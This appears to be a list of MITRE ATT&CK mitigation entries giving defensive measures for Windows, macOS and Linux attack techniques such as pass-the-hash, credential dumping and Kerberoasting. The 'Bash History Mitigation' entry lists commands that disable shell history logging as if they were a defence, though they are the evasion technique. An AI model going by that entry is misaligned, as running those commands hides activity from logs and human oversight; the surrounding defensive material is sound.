Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.
Winlogon Helper DLL Mitigation - T1004
Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.
Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
Password Filter DLL Mitigation - T1174
Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\Windows\System32\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)
Netsh Helper DLL Mitigation - T1128
Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)
Network Share Connection Removal Mitigation - T1126
Follow best practices for mitigation of activity related to establishing Windows Admin Shares.
Identify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Connection Proxy Mitigation - T1090
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Password Policy Discovery Mitigation - T1201
Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)
Browser Bookmark Discovery Mitigation - T1217
File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Time Providers Mitigation - T1209
Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
Consider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)
Application Window Discovery Mitigation - T1010
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
External Remote Services Mitigation - T1133
Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Disable or block services such as Windows Remote Management can be used externally. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary’s ability to leverage stolen credentials, but be aware of Two-Factor Authentication Interception techniques for some two-factor authentication implementations.
Pass the Hash Mitigation - T1075
Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.
Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)
Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary’s ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.
Account Discovery Mitigation - T1087
Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Trusted Developer Utilities Mitigation - T1127
MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.
Use application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)
Pass the Ticket Mitigation - T1097
Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)
For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)
Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
System Owner/User Discovery Mitigation - T1033
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Credential Dumping Mitigation - T1003
Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)
On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)
Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)
Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)
Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)
Regsvr32 Mitigation - T1117
Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)
Process Hollowing Mitigation - T1093
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
LC_MAIN Hijacking Mitigation - T1149
Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.
SID-History Injection Mitigation - T1178
Clean up SID-History attributes after legitimate account migration is complete.
Apply SID Filtering to domain trusts to exclude SID-History from requests to access domain resources (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Domain SID Filtering is disabled by default.
Apply SID Filtering to forest trusts to exclude SID-History from request to access forest resources (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Forest SID Filtering is active by default, but may block child domains from transitively accessesing the forest trust.
Ensure SID Filter Quarantining is enabled on trusted external domains (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller) to ensure authentication requests only include SIDs from that domain. SID Filter Quarantining is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID) Filtering Quarantining Jan 2009
Startup Items Mitigation - T1165
Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.
Execution through API Mitigation - T1106
Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Taint Shared Content Mitigation - T1080
Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).
Reduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.
Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Redundant Access Mitigation - T1108
Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Domain Fronting Mitigation - T1172
If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.
In order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.
Spearphishing Attachment Mitigation - T1193
Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.
Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in Obfuscated Files or Information.
Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.
Audio Capture Mitigation - T1123
Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.
Identify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
New Service Mitigation - T1050
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.
Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
CMSTP Mitigation - T1191
CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)
Scripting Mitigation - T1064
Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.
Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Plist Modification Mitigation - T1150
Prevent plist files from being modified by users by making them read-only.
Rundll32 Mitigation - T1085
Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)
Credentials in Registry Mitigation - T1214
Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.
Multi-hop Proxy Mitigation - T1188
Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting.
Fallback Channels Mitigation - T1008
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Exploitation for Client Execution Mitigation - T1203
Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.
System Service Discovery Mitigation - T1007
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Indicator Removal on Host Mitigation - T1070
Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.
Service Registry Permissions Weakness Mitigation - T1058
Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.
Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.
Kerberoasting Mitigation - T1208
Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)
Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)
Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)
Timestomp Mitigation - T1099
Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
System Network Configuration Discovery Mitigation - T1016
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system’s network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Execution through Module Load Mitigation - T1129
Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.
Shared Webroot Mitigation - T1051
Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.
Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.
Scheduled Task Mitigation - T1053
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)
Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)
Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)
Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Binary Padding Mitigation - T1009
Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Network Sniffing Mitigation - T1040
Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.
Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Data Encrypted Mitigation - T1022
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Standard Cryptographic Protocol Mitigation - T1032
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)
Multilayer Encryption Mitigation - T1079
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)
Masquerading Mitigation - T1036
When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.
Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
File System Logical Offsets Mitigation - T1006
Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Remote Services Mitigation - T1021
Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire Valid Accounts that can be used by existing services.
File Deletion Mitigation - T1107
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Data Compressed Mitigation - T1002
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.
AppleScript Mitigation - T1155
Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.
Mshta Mitigation - T1170
Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.
Authentication Package Mitigation - T1131
Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)
Signed Binary Proxy Execution Mitigation - T1218
Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.
Bash History Mitigation - T1139
There are multiple methods of preventing a user’s command history from being flushed to their .bash_history file, including use of the following commands: <code>set +o history</code> and <code>set -o history</code> to start logging again; <code>unset HISTFILE</code> being added to a user’s .bash_rc file; and <code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.
Port Monitors Mitigation - T1013
Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.
Image File Execution Options Injection Mitigation - T1183
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.
User Execution Mitigation - T1204
Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.
If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files in Obfuscated Files or Information.
If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.
LC_LOAD_DYLIB Addition Mitigation - T1161
Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.
Man in the Browser Mitigation - T1185
Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique.
Close all browser sessions regularly and when they are no longer needed.
Screensaver Mitigation - T1180
Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)
Accessibility Features Mitigation - T1015
To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)
If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)
Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Bootkit Mitigation - T1067
Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)
Valid Accounts Mitigation - T1078
Take measures to detect or prevent techniques such as Credential Dumping or installation of keyloggers to acquire credentials through Input Capture. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)
Browser Extensions Mitigation - T1176
Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.
Browser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)
